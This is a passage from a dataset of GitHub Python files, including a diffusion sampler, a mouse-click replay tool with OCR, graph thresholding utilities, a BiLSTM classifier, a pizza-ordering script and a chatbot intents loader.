2.\n \"\"\"\n x_t = x_T\n for time_step in reversed(range(self.T)):\n t = x_t.new_ones([x_T.shape[0], ], dtype=torch.long) * time_step \n x_t = self.p_sample(x_t, t, cemb)\n x_0 = x_t\n return torch.clip(x_0, -1, 1)\n \nclass DDIM_Sampler(Diffusion):\n def __init__(self, model, config):\n \n super().__init__(config)\n\n self.model = model\n self.w = config.evaluate.w\n\n self.register_buffer('ddim_sigma', self.ddim_sigma_)\n\n self.register_buffer('ddim_steps', self.ddim_steps_)\n\n # calculations for diffusion q(x_t | x_{t-1}) and others\n self.register_buffer(\n 'ddim_sqrt_recip_alphas_bar', self.ddim_sqrt_recip_alphas_bar_)\n self.register_buffer(\n 'ddim_sqrt_recipm1_alphas_bar', self.ddim_sqrt_recipm1_alphas_bar_)\n \n self.register_buffer(\n 'posterior_mean_coef1',\n torch.sqrt(self.ddim_alpha_prev_))\n self.register_buffer(\n 'posterior_mean_coef2',\n torch.sqrt(1-self.ddim_alpha_prev_-self.ddim_sigma_**2))\n\n def predict_x0_from_eps(self, x_t, idx, eps):\n assert x_t.shape == eps.shape\n return (\n self.extract(self.ddim_sqrt_recip_alphas_bar, idx, x_t.shape) * x_t -\n self.extract(self.ddim_sqrt_recipm1_alphas_bar, idx, x_t.shape) * eps\n )\n\n def q_mean_variance(self, x_0, x_t, idx, eps):\n \"\"\"\n Compute the mean and variance of the diffusion posterior\n q(x_{t-1} | x_t, x_0)\n \"\"\"\n assert x_0.shape == x_t.shape\n posterior_mean = (\n self.extract(self.posterior_mean_coef1, idx, x_t.shape) * x_0 +\n self.extract(self.posterior_mean_coef2, idx, x_t.shape) * eps\n )\n # return sigma here not variance\n posterior_sigma = self.extract(self.ddim_sigma, idx, x_t.shape)\n return posterior_mean, posterior_sigma\n \n def p_sample(self, x_t, t, idx, cemb):\n\n eps_cond = self.model(x_t, t, cemb)\n nu_emb = torch.zeros(cemb.shape, device = eps_cond.device)\n eps_uncond = self.model(x_t, t, nu_emb)\n eps = (1+self.w)*eps_cond - self.w*eps_uncond\n\n x_0 = self.predict_x0_from_eps(x_t, idx, eps)\n\n mean, sigma = self.q_mean_variance(x_0, x_t, idx, eps)\n \n x_prev = mean + sigma * eps\n \n return x_prev\n\n def forward(self, x_T, cemb):\n \n x_t = x_T\n for idx, time_step in enumerate(reversed(self.ddim_steps)):\n t = x_t.new_ones([x_T.shape[0], ], dtype=torch.long) * time_step \n idx = x_t.new_ones([x_T.shape[0], ], dtype=torch.long) * (len(self.ddim_steps) - idx - 1)\n x_t = self.p_sample(x_t, t, idx, cemb)\n x_0 = x_t\n return torch.clip(x_0, -1, 1)\n\n \n\n\n \n\n ","repo_name":"SoloChe/cls-free-diff","sub_path":"diffusion.py","file_name":"diffusion.py","file_ext":"py","file_size_in_byte":7571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19478884077","text":"# D. Заботливая мама\n# ID успешной посылки 65663041\n\nclass Node: \n def __init__(self, value, next_item=None):\n self.value = value\n self.next_item = next_item\n\n\ndef solution(node, elem):\n count = 0\n while node.value != elem:\n if node.value != elem and node.next_item is None:\n count = -1\n break\n else:\n count = count + 1\n node = node.next_item\n return count\n\n\ndef test():\n node3 = Node(\"node3\", None)\n node2 = Node(\"node2\", node3)\n node1 = Node(\"node1\", node2)\n node0 = Node(\"node0\", node1)\n solution(node0, \"node4\")\n # result is idx == 2\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"master-cim/algorithm","sub_path":"tasks_sprints_12/d_caring_mother.py","file_name":"d_caring_mother.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"31141042741","text":"import tkinter as tk\nimport configparser\nimport os\nfrom pynput.keyboard import Key, Listener\nimport pyautogui\nimport time\nimport pytesseract\nfrom PIL import Image,ImageOps,ImageGrab\nimport cv2\nimport numpy as np\n\n\n\n################################################################\n# #\n# Script #\n# #\n################################################################\n\ncounter = 1\n\ndef create_ini_file():\n config_name = config_name_entry.get()\n if config_name:\n config = configparser.ConfigParser()\n with open('./configurations/deplacement/'+config_name + '.ini', 'w') as configfile:\n config.write(configfile)\n log_status(f\"Le fichier {config_name}.ini a été créé.\")\n update_file_list()\n else:\n log_status(\"Veuillez entrer un nom de configuration valide.\")\n\ndef update_file_list():\n # Clear the listbox\n file_listbox.delete(0, tk.END)\n # Get a list of all .ini files in the current directory\n ini_files = [f for f in os.listdir('./configurations/deplacement') if f.endswith('.ini')]\n # Add each file to the listbox\n for f in ini_files:\n file_listbox.insert(tk.END, f)\n\ndef select_ini_file(event):\n # Get the name of the selected file\n selection = file_listbox.get(file_listbox.curselection())\n # Set the config name entry to the selected file's name\n config_name_entry.delete(0, tk.END)\n # Display a message indicating which configuration is being used\n log_status(f\"Vous utilisez la configuration : {selection}\")\n\ndef delete_ini_file():\n selection = file_listbox.get(file_listbox.curselection())\n os.remove('./configurations/deplacement/'+selection)\n update_file_list()\n log_status(f\"Le fichier {selection} a été supprimé.\")\n \ndef update_selected_file():\n global counter\n # Check if an item in the listbox is selected\n if file_listbox.curselection():\n # Get the current position of the mouse\n x, y = pyautogui.position()\n # Get the name of the selected file\n selection = file_listbox.get(file_listbox.curselection())\n # Update the selected file with the mouse position\n config = configparser.ConfigParser()\n config.read('./configurations/deplacement/'+selection)\n config[f\"{counter}\"] = {'x': f\"{x}\", 'y': f\"{y}\"}\n with open('./configurations/deplacement/'+selection, 'w') as configfile:\n config.write(configfile)\n # Display a message indicating that the file has been updated\n log_status(f\"Le fichier {selection} a été mis à jour avec la position du curseur.\")\n # Increment the counter\n \n counter += 1\n else:\n # Display a message indicating that no file has been selected\n log_status(f\"Veuillez sélectionner un fichier dans la liste.\")\n \ndef process_selected_file():\n if file_listbox.curselection():\n # Get the name of the selected file\n selection = file_listbox.get(file_listbox.curselection())\n # Read the selected file\n config = configparser.ConfigParser()\n config.read('././configurations/deplacement/'+selection)\n # Get the initial coordinates\n current_coordinate = extract_coordinates()\n # Move the mouse to each position specified in the file\n for section in config.sections():\n x = int(config[section]['x'])\n y = int(config[section]['y'])\n # Move the mouse to the position\n pyautogui.moveTo(x, y)\n # Perform a left click\n pyautogui.click(button='left')\n # Wait for a short time to allow the click to complete\n time.sleep(0.1)\n log_status(f\"Moved mouse to ({x}, {y})\")\n # Continuously check the coordinates until they change\n while current_coordinate == extract_coordinates():\n time.sleep(0.001)\n # Update the current coordinates\n current_coordinate = extract_coordinates()\n # Display a message indicating that the file has been processed\n log_status(f\"Le fichier {selection} a été traité.\")\n else:\n # Display a message indicating that no file has been selected\n log_status(\"Veuillez sélectionner un fichier dans la liste.\")\n \n\n\ndef extract_coordinates():\n \n\n # Take a screenshot of the top left of the screen\n start_time_extract_coordinates = time.time()\n screenshot = ImageGrab.grab(bbox=(0, 0, 500, 300))\n rgb_image = screenshot.convert('RGB')\n rgb_image.save('my_image.jpg', format='JPEG')\n\n # Find white pixels and create a mask\n white_tolerance = 50 # adjust this as needed\n mask = Image.new('1', screenshot.size, 0)\n for x in range(screenshot.width):\n for y in range(screenshot.height):\n r, g, b = rgb_image.getpixel((x, y))\n if abs(r - 255) <= white_tolerance and abs(g - 255) <= white_tolerance and abs(b - 255) <= white_tolerance:\n mask.putpixel((x, y), 1)\n # convert the mask image to mode \"L\"\n mask = mask.convert(\"L\")\n # Apply the mask to the original image to keep only white pixels\n result = ImageOps.colorize(mask, (0, 0, 0), (255, 255, 255))\n\n # Save the result as a JPEG file\n result.save('my_image2.jpg', 'JPEG')\n\n # Use pytesseract to read text from the image\n string = pytesseract.image_to_string(result)\n \n # Find the start index of the coordinates string\n start_index = string.find(\"Coordonnées :\") + len(\"Coordonnées : \")\n\n # Find the end index of the coordinates string\n end_index = string.find(\"\\n\", start_index)\n\n # Extract the coordinates string\n coordinates_string = string[start_index:end_index]\n\n # Split the coordinates string into a list of two strings\n coordinates_list = coordinates_string.split(\", \")\n\n # Convert the coordinate strings to integers\n x_coord = int(coordinates_list[0])\n y_coord = int(coordinates_list[1])\n\n # print the time taken to execute the script\n end_time_extract_coordinates = time.time()\n log_status(f\"Execution time (extract_coordinates): {end_time_extract_coordinates - start_time_extract_coordinates:.2f} seconds\")\n\n\n # Delete the temporary files\n os.remove('my_image.jpg')\n os.remove('my_image2.jpg')\n print(x_coord, y_coord)\n # Return the coordinates as a tuple\n return [x_coord, y_coord]\n\n\ndef on_press(key):\n if key == Key.shift:\n update_selected_file()\n elif key == Key.ctrl_l:\n process_selected_file()\n \n \n \n\n################################################################\n# #\n# Interface #\n# #\n################################################################\n\n\n# Create the GUI\nroot = tk.Tk()\nroot.title(\"Création de fichier INI\")\nroot.geometry(\"600x500\")\n\n# Configuration name label and entry\nconfig_name_label = tk.Label(root, text=\"Nom de la configuration:\")\nconfig_name_label.pack()\nconfig_name_entry = tk.Entry(root)\nconfig_name_entry.pack()\n\n# Create file button\ncreate_button = tk.Button(root, text=\"Créer fichier\", command=create_ini_file)\ncreate_button.pack()\n\n# File listbox and delete button\nfile_frame = tk.Frame(root)\nfile_frame.pack(fill=tk.BOTH, expand=True)\n\nfile_listbox = tk.Listbox(file_frame)\nfile_listbox.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)\nupdate_file_list()\nfile_listbox.bind(\"<>\", select_ini_file)\n\ndelete_button = tk.Button(file_frame, text=\"Supprimer fichier\", command=delete_ini_file)\ndelete_button.pack(side=tk.BOTTOM)\n\n# Status text box\nstatus_text = tk.Text(root, height=5)\nstatus_text.pack(fill=tk.BOTH, expand=True)\n\ndef log_status(message):\n # Insert the message at the end of the text box\n status_text.insert(tk.END, message + '\\n')\n # Scroll the text box to show the latest message\n status_text.see(tk.END)\n \n# Mouse listener\nlistener = Listener(on_press=on_press)\nlistener.start()\n\n\n# Run the GUI\nroot.mainloop()\n","repo_name":"Misa-10/Prytaek","sub_path":"modules/deplacement.py","file_name":"deplacement.py","file_ext":"py","file_size_in_byte":8258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71096521547","text":"\n\ndef recurse(n, s):\n \"\"\"\n Funções recursiva exemplo.\n :param n:tamanho da recursividade.\n :param s:mostra o tamanho da recursividade ao final\n :return:valores pro recursividade,\n \"\"\"\n if n == 0:\n print(n, s)\n else:\n print(n, s)\n recurse(n-1, n+s)\n\n\nrecurse(n=3, s=0)\n\n\"\"\"1. O que aconteceria se você chamasse esta função desta forma: recurse(-1, 0)?\"\"\"\n# seria uma recursividade infinita.\n\n\"\"\"2. Escreva uma docstring que explique tudo o que alguém precisaria saber para usar esta\nfunção (e mais nada).\"\"\"\n","repo_name":"FelipeDreissig/PenseEmPy","sub_path":"Cap 5/Ex5.4.py","file_name":"Ex5.4.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33715816678","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis module contains functions for thresholding matrices\nand outputting links/networks.\n\"\"\"\nimport numpy as np\nimport igraph\nimport dataio\n\n\ndef get_graph_from_bare_data(corr_mat_fname, blacklist_fname, density,\n include_mst=False, weighted=False):\n \"\"\"\n Extracts a graph from raw data.\n\n Parameters\n ----------\n corr_mat_fname : str\n path to the file containing the correlation matrix.\n blacklist_fname : str\n path to the bool blacklist\n density : float\n the network density to use\n include_mst : bool\n whether to include the maximum spanning tree\n weighted : bool\n whether to consider the network as weighted\n\n Returns\n -------\n net : igraph.Graph\n the network\n \"\"\"\n corr_mat = dataio.load_adj_matrix_from_mat(corr_mat_fname)\n ok_nodes = dataio.get_ok_nodes(blacklist_fname)\n net = make_net_from_unfiltered_data(\n corr_mat,\n ok_nodes,\n density,\n include_mst=include_mst,\n weighted=weighted)\n return net\n\n\ndef _get_filtered_triu_adj_mat_copy(matrix, ok_nodes):\n \"\"\"\n Takes only the nodes listed in ok_nodes into account.\n\n Parameters\n ----------\n matrix : np.array\n 2D matrix with bad nodes\n ok_nodes : numpy bool array\n\n Returns\n -------\n m : np.array\n a copy of the matrix where the bad nodes have been removed\n \"\"\"\n m = matrix.copy()\n m = m[ok_nodes, :]\n m = m[:, ok_nodes]\n return np.triu(m, 1)\n\n\ndef make_net_from_unfiltered_data(corr_mat, ok_nodes, density, include_mst=False,\n weighted=False):\n \"\"\"\n Constructs a net from unfiltered data.\n\n Parameters\n ----------\n corr_mat : np.array\n 2D numpy array with bad nodes.\n ok_nodes : np.array\n the bool blacklist (whitelist)\n density : float\n the network density to use\n include_mst : bool\n whether to include the maximum spanning tree\n weighted : bool\n whether to consider the network as weighted\n\n Returns\n -------\n net : igraph.Graph\n \"\"\"\n assert 0 <= density <= 1\n edgelist = sort_links_by_weight(corr_mat, ok_nodes, include_mst)\n\n nNodes = sum(ok_nodes)\n nLinksMax = (nNodes * (nNodes - 1)) / 2\n nLinks = int(nLinksMax * density)\n edgelist = edgelist[:nLinks]\n\n return make_net(edgelist, nNodes, weighted)\n\n\ndef get_treshold_value(corr_mat, ok_nodes, density, include_mst=False):\n \"\"\"\n Constructs a net from unfiltered data.\n\n Parameters\n ----------\n corr_mat : np.array\n 2D numpy array with bad nodes.\n ok_nodes : np.array\n the bool blacklist (whitelist)\n density : float\n the network density to use\n include_mst : bool\n whether to include the maximum spanning tree\n\n Returns\n -------\n threshold: float\n the weight corresponding to the last considered link\n (i.e. no threshold)\n \"\"\"\n assert 0 <= density <= 1\n edgelist = sort_links_by_weight(corr_mat, ok_nodes, include_mst)\n n_nodes = sum(ok_nodes)\n n_links_max = (n_nodes * (n_nodes - 1)) / 2\n n_links = int(n_links_max * density)\n return edgelist[n_links]['weight']\n\n\ndef make_net(edgelist, nNodes, weighted):\n '''\n Create the network given the edgelist and number of nodes\n\n Parameters\n ----------\n weighted : (boolean)\n Whether weights are to be considered or not\n '''\n graph = igraph.Graph(nNodes)\n\n graph.add_edges(zip(edgelist['node1'], edgelist['node2']))\n if weighted is True:\n # graph.es['weight'] = 1\n graph.es['weight'] = edgelist['weight']\n\n # for n1, n2, w in edgelist:\n # graph[n1, n2] = w\n return graph\n\n\ndef make_full_weighted_net_from_weight_mat(matrix, ok_nodes, return_weights=False):\n \"\"\"\n Takes in an adjacency/correlation matrix, and constructs an undirected\n weighted network\n \"\"\"\n nNodes = np.sum(ok_nodes)\n graph = igraph.Graph(nNodes)\n\n triu_indices = np.triu_indices_from(matrix, 1)\n edgelist = np.array(triu_indices).T\n graph.add_edges(edgelist)\n weights = matrix[triu_indices]\n graph.es[\"weight\"] = weights\n if return_weights:\n return graph, weights\n return graph\n\n\ndef sort_links_by_weight(corr_mat, ok_nodes, include_mst):\n \"\"\"\n Sort the links by their link-weight\n\n Parameters\n ----------\n corr_mat : np.array\n 2D numpy array with bad nodes.\n ok_nodes : np.array\n the bool blacklist (whitelist)\n include_mst : Bool\n If true add the maximum spanning tree to the begining of sorted list\n\n Returns\n -------\n edgelist : numpy structrued array (node1, node2, weight)\n array([(0, 1, 1.0), (0, 3, 0.5), (2, 3, 0.5), (0, 4, 0.7), (1, 4, 0.4)],\n dtype=[('node1', '1:\n return 0,\n return sum(ind),\n\ntoolbox = base.Toolbox()\ntoolbox.register(\"particle\", generate, size=10, pmin=-1, pmax=1, smin=-1, smax=1)\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.particle)\ntoolbox.register(\"update\", updateParticle, phi1=1.0, phi2=1.0)\ntoolbox.register(\"evaluate\", evalOneMax)\n\nfits= []\ndef main():\n pop = toolbox.population(n=20)\n GEN = 100\n best = None\n\n for g in range(GEN):\n for part in pop:\n part.fitness.values = toolbox.evaluate(part)\n if not part.best or part.best.fitness < part.fitness:\n part.best = creator.Particle(part)\n part.best.fitness.values = part.fitness.values\n if not best or best.fitness < part.fitness:\n best = creator.Particle(part)\n best.fitness.values = part.fitness.values\n for part in pop:\n toolbox.update(part, best)\n\n print(best,best.fitness.values) \n fits.append(best.fitness.values)\n return pop, best\n\nif __name__ == \"__main__\":\n main()\n plt.plot(fits)\n plt.show()\n","repo_name":"shohei/emt-3108","sub_path":"particle_swarm_optimization/pso_deap.py","file_name":"pso_deap.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18518005232","text":"import datetime\nfrom matplotlib import pyplot as plt\nimport tensorflow as tf\nfrom tensorflow import keras\nimport tensorflow_addons as tfa\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nimport pandas as pd\nimport numpy as np\nfrom tensorflow import keras\nfrom keras.preprocessing.text import Tokenizer\n\nclass BiLSTMCRF(tf.keras.Model):\n def __init__(self, vocab_size, num_tags, embedding_dim, lstm_units):\n super(BiLSTMCRF, self).__init__()\n self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)\n self.bilstm = tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(lstm_units, return_sequences=True))\n self.dense = tf.keras.layers.Dense(num_tags)\n # self.crf = tfa.layers.CRF(num_tags)\n \n def call(self, inputs, training=None, mask=None):\n embeddings = self.embedding(inputs)\n lstm_outputs = self.bilstm(embeddings)\n outputs = self.dense(lstm_outputs)\n # outputs = self.crf(outputs)\n return outputs\n\ndf = pd.read_csv('./datasets/cleaned2.csv')\ntext_list = df['simple_sentence'].tolist()\ntokenizer = tf.keras.preprocessing.text.Tokenizer()\ntokenizer.fit_on_texts(text_list)\nvocab_size = len(tokenizer.word_index) + 1\nmax_length = max([len(s.split()) for s in text_list])\nword_index = tokenizer.word_index\n\nx_train, x_val, y_train, y_val = train_test_split(df['simple_sentence'], df['truth_value'], test_size=0.33, random_state=42)\n\n\ntrain_sequences = tokenizer.texts_to_sequences(x_train)\nval_sequences = tokenizer.texts_to_sequences(x_val)\ntrain_padded = tf.keras.preprocessing.sequence.pad_sequences(train_sequences, maxlen=max_length, padding='post', truncating='post')\nvalidation_padded = tf.keras.preprocessing.sequence.pad_sequences(val_sequences, maxlen=max_length, padding='post', truncating='post')\nlabel_tokenizer = tf.keras.preprocessing.text.Tokenizer()\nlabel_tokenizer.fit_on_texts(df['truth_value'].tolist())\n\ntraining_label_seq = np.array(label_tokenizer.texts_to_sequences(y_train))\nvalidation_label_seq = np.array(label_tokenizer.texts_to_sequences(y_val))\nembedding_dim = 100\nnum_tags = 2 + 1\nlstm_units = 4\nnum_epochs = 1\n\ndataset = tf.data.experimental.make_csv_dataset('./datasets/cleaned2.csv', batch_size=32, num_epochs=1, label_name='truth_value', ignore_errors=True)\n\n\n# log_dir = \"./logs/fit/\" + datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n# tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=log_dir, histogram_freq=1)\nwith tf.device(\"/cpu:0\"):\n model = BiLSTMCRF(vocab_size, num_tags, embedding_dim, lstm_units)\n model.compile(optimizer='adam', loss = 'sparse_categorical_crossentropy', metrics= ['accuracy', 'loss'])\n history = model.fit(dataset, epochs=num_epochs, verbose=2)\n\ndef plot_graphs(history, string):\n plt.plot(history.history[string])\n plt.plot(history.history['val_'+string])\n plt.xlabel(\"Epochs\")\n plt.ylabel(string)\n plt.legend([string, 'val_'+string])\n plt.show()\n \nplot_graphs(history, \"accuracy\")\nplot_graphs(history, \"loss\")","repo_name":"Karun842002/fyp-data-scraper","sub_path":"tfmodel.py","file_name":"tfmodel.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"29171580760","text":"import os\nmenu2=True\npt=12000\npp=14000\npa=17000\nmenu1=True\ncont1=0\ncont2=0\ncont3=0\ndcto=0\ncance=0\nwhile menu1:\n print(\"****bienvenido a Pizzeria Douc****\")\n print(\"Elija una de las opciones disponibles: \")\n print(\"1-Pizza Tradicional\")\n print(\"2-Pizza Peperoni\")\n print(\"3-Pizza All Carnes\")\n print(\"4-Salir\")\n try:\n opcion=int(input(\"Que deseas pedir : \"))\n if(opcion >0 and opcion <5) :\n if opcion ==1:\n print(\"Usted ingreso opcion 1\")\n pedido=int(input(\"¿cuantas pizzas quieres?\"))\n print(f\"total a pagar:{pt*pedido}\\n\")\n print(\"Quieres ordenar algo mas? \")\n cont1=(pt*pedido)\n\n mp=int(input(\"1-Si 2-No :\"))\n if mp ==1:\n menu1=True\n if mp==2:\n menu1=False\n os.system(\"cls\")\n if opcion ==2:\n print(\"Usted ingreso opcion 2\")\n pedido=int(input(\"¿cuantas pizzas quieres?\"))\n print(f\"total a pagar:{pp*pedido}\") \n print(\"Quieres ordenar algo mas? \")\n cont2=(pp*pedido)\n mp=int(input(\"1-Si 2-No :\"))\n if mp ==1:\n menu1=True\n if mp==2:\n menu1=False\n os.system(\"cls\")\n if opcion ==3:\n print(\"Usted ingreso opcion 3\")\n pedido=int(input(\"¿cuantas pizzas quieres?\"))\n print(f\"total a pagar:{pa*pedido}\")\n print(\"Quieres ordenar algo mas? \")\n cont3=(pa*pedido)\n mp=int(input(\"1-Si 2-No :\" ))\n if mp ==1:\n menu1=True\n if mp==2:\n menu1=False\n os.system(\"cls\")\n if opcion ==4:\n print(\"hasta luego\")\n menu1=False\n for acumulador in range (pedido):\n acumulador=cont1+cont2+cont3\n print(\"Deseas seguir con la compra ? \")\n cancel1=int(input(\"1-Si 2-No : \"))\n if cancel1==2:\n menu1=True\n os.system(\"cls\")\n continue\n if cancel1==1:\n os.system(\"cls\")\n except:\n print(\"Ocurrio un error\")\nprint(f\"total a cancelar : {acumulador} \")\nwhile menu2:\n print(\"Selecciona tu jornada : \")\n print(\"1-Diurno\")\n print(\"2-Vespertino\")\n print(\"3-Administrativo\")\n try:\n dcto=int(input(\"tu jornada es : \"))\n if(opcion >0 and opcion <4) :\n if dcto ==1:\n print(\"Descuento para jornada diurna 12%\")\n menu2=False\n if dcto ==2:\n print(\"Descuento para jornada vespertina 10%\")\n menu2=False\n if dcto ==3:\n print(\"Administrativo no corresponde descuento\")\n menu2=False\n except:\n print(\"algo salio mal , vuelve a intentarlo\")\n\nos.system(\"cls\")\n\nprint(\"*************Pizzeria Duoc**************\")\nif cont1 > 0:\n print(f\"Pizza Tradicional: $ {cont1}\")\nif cont2 > 0:\n print(f\"Pizza Peperoni: $ {cont2}\")\nif cont3 > 0:\n print(f\"Pizza All Carnes: $ {cont3}\")\nprint(\"*****************************************\")\nprint(f\"Subtotal: $ {acumulador} \")\nif dcto==1:\n des=12\n print(\"Descuento: 12%\")\n d=acumulador*des//100\nif dcto==2:\n des=10\n print(\"Descuento: 10%\")\n d=acumulador*des//100\nif dcto==3:\n des=0\n print(\"Descuento: 0%\")\n d=acumulador*des//100\nprint(\"******************************************\")\nprint(f\"Total a pagar: $ {acumulador-d} \")\n\nprint(\"**********Gracias por su compra***********\")\n","repo_name":"ConstanzapGaete/PYTHON","sub_path":"pruebatipoB.py","file_name":"pruebatipoB.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6624076079","text":"import os\nimport sys\nimport re\nfrom datetime import datetime,timedelta\nimport numpy as np\nfrom proc_satellite_class import Satellite_Process\n\nclass Interp(Satellite_Process):\n\n def __init__(self):\n super().__init__()\n self._freeze()\n\n def run(self):\n # Start process\n super().run()\n\n # Check files/folders\n start_dtim = datetime.strptime(self.start_date,self.date_fmt)\n end_dtim = datetime.strptime(self.end_date,self.date_fmt)\n first_dtim = datetime.strptime(self.first_date,self.date_fmt)\n last_dtim = datetime.strptime(self.last_date,self.date_fmt)\n trg_bnam = '{:%Y%m%d}_{:%Y%m%d}'.format(first_dtim,last_dtim)\n if not os.path.exists(self.s2_data):\n os.makedirs(self.s2_data)\n if not os.path.isdir(self.s2_data):\n raise ValueError('{}: error, no such folder >>> {}'.format(self.proc_name,self.s2_data))\n\n # Interpolate data\n ystr = '{:%Y}'.format(first_dtim)\n dnam = os.path.join(self.s2_data,'interp',ystr)\n if not os.path.exists(dnam):\n os.makedirs(dnam)\n if not os.path.isdir(dnam):\n raise IOError('Error, no such folder >>> {}'.format(dnam))\n command = self.python_path\n if self.values['atcor_flag']:\n command += ' \"{}\"'.format(os.path.join(self.scr_dir,'sentinel2_interp_atcor.py'))\n command += ' --inpdir \"{}\"'.format(os.path.join(self.s2_data,'atcor'))\n command += ' --nmax {}'.format(self.values['nmax'])\n command += ' --rthr {}'.format(self.values['rthr'])\n else:\n command += ' \"{}\"'.format(os.path.join(self.scr_dir,'sentinel2_interp.py'))\n command += ' --inpdir \"{}\"'.format(os.path.join(self.s2_data,'parcel'))\n command += ' --dstdir \"{}\"'.format(os.path.join(self.s2_data,'interp'))\n command += ' --tendir \"{}\"'.format(os.path.join(self.s2_data,'tentative_interp'))\n command += ' --data_tmin {:%Y%m%d}'.format(first_dtim)\n command += ' --data_tmax {:%Y%m%d}'.format(last_dtim)\n command += ' --tmgn {}'.format(self.values['tmgn'])\n command += ' --tstp 1'\n command += ' --smooth=\"{}\"'.format(self.values['p_smooth'])\n command += ' --ethr {}'.format(self.values['cflag_thr'])\n if self.values['csv_flag']:\n command += ' --out_csv'\n iflag = self.list_labels['oflag'].index('interp')\n if self.values['oflag'][iflag]:\n command += ' --overwrite'\n iflag = self.list_labels['oflag'].index('tentative interp')\n if self.values['oflag'][iflag]:\n command += ' --tentative_overwrite'\n if self.values['eflag']:\n command += ' --extrapolate'\n command += ' --fignam \"{}\"'.format(os.path.join(dnam,'{}_interp.pdf'.format(trg_bnam)))\n command += ' --nfig 10'\n command += ' --debug'\n command += ' --batch'\n self.run_command(command,message='<<< Interpolate data between {:%Y-%m-%d} - {:%Y-%m-%d} >>>'.format(first_dtim,last_dtim))\n\n # Finish process\n super().finish()\n return\n","repo_name":"nahiro/satellite_analysis","sub_path":"run_satellite_interp.py","file_name":"run_satellite_interp.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"42907646202","text":"\"\"\"\nThis module is used for loading and preparing intents data\n\"\"\"\nimport json\n\nimport nltk\n\n\ndef load_intents(path: str):\n \"\"\"\n Loads a specified intents JSON file\n\n :param path: Path to the intents file\n :return: An Intents object\n \"\"\"\n try:\n with open(path) as file:\n intents = json.loads(file.read())\n\n words = []\n classes = []\n documents = []\n\n for intent in intents['intents']:\n for pattern in intent['patterns']:\n word_list = nltk.word_tokenize(pattern)\n words.extend(word_list)\n documents.append((word_list, intent['tag']))\n if intent['tag'] not in classes:\n classes.append(intent['tag'])\n\n return Intents(words, classes, documents)\n\n except FileNotFoundError:\n print(\"Intents file not found.\")\n return Intents([], [], [])\n \n \ndef load_entities(path):\n \"\"\"\n Load the entities and return an dict carrying all relevant info\n \"\"\"\n try:\n with open(path) as file:\n entities = json.loads(file.read())\n\n ents = {}\n\n for e in entities['entities']:\n ents[e['entity']] = {'opening hours':e['opening hours'],\n 'location':e['location'],\n 'contact':e['contact'],\n 'link':e['link']\n }\n return ents \n\n except FileNotFoundError:\n print(\"Entities file not found.\")\n return {}\n \n\n\nclass Intents:\n \"\"\"\n A class containing the words, classes and documents information\n loaded from an Intents JSON file.\n \"\"\"\n \n def __init__(self, words, classes, documents):\n self.words = words\n self.classes = classes\n self.documents = documents\n","repo_name":"team28COSC310/chat-bot-cosc-310","sub_path":"src/data_importer.py","file_name":"data_importer.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"2717749628","text":"#!/usr/bin/python3\n\"\"\"Script using REST API for an employee ID\"\"\"\n\nimport requests\nimport sys\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print(\"Usage: {} \".format(sys.argv[0]))\n sys.exit(1)\n\n employee_id = sys.argv[1]\n base_url = \"https://jsonplaceholder.typicode.com/users\"\n url = base_url + \"/\" + employee_id\n\n response = requests.get(url)\n if response.status_code != 200:\n print(\"Employee not found.\")\n sys.exit(1)\n\n username = response.json().get('username')\n\n todo_url = url + \"/todos\"\n response = requests.get(todo_url)\n tasks = response.json()\n\n with open('{}.csv'.format(employee_id), 'w') as file:\n for task in tasks:\n file.write('\"{}\",\"{}\",\"{}\",\"{}\"\\n'\n .format(employee_id, username, task.get('completed'),\n task.get('title')))\n","repo_name":"sylvieshimwauwase/alx-system_engineering-devops","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26695637427","text":"# build_update.py\n# copy the contents from patch to AOSP build directory \nimport sys\nsys.path.append('./python_scripts')\nfrom replace import *\nfrom distutils.dir_util import copy_tree\nfrom read_configuration import *\ncwd = os.getcwd()\n\n# reading the configuration variables \n\ndata = read_configuration ()\n\n\nprint(\"build_update.py executing from : \"+ cwd +'/nxp')\nprint(\"\\n\")\nsource = data['src_dir_build']+'/'+'make'+'/core'+'/soong_config.mk'\ntarget = data['dst_dir_build']+'/'+'make'+'/'+'/core'+'/soong_config.mk'\n\n\nprint (\"source path:=\"+str(source))\nprint (\"target path:=\"+str(target)+\"\\n\")\ncopyfile(source,target)\nprint (\"file copied successfuly....\\n\")\n\n\nsource = data['src_dir_build']+'/'+'soong'+'/android'+'/variable.go'\ntarget = data['dst_dir_build']+'/'+'soong'+'/android'+'/variable.go'\n\n\nprint (\"source path:=\"+str(source))\nprint (\"target path:=\"+str(target)+\"\\n\")\ncopyfile(source,target)\nprint (\"file copied 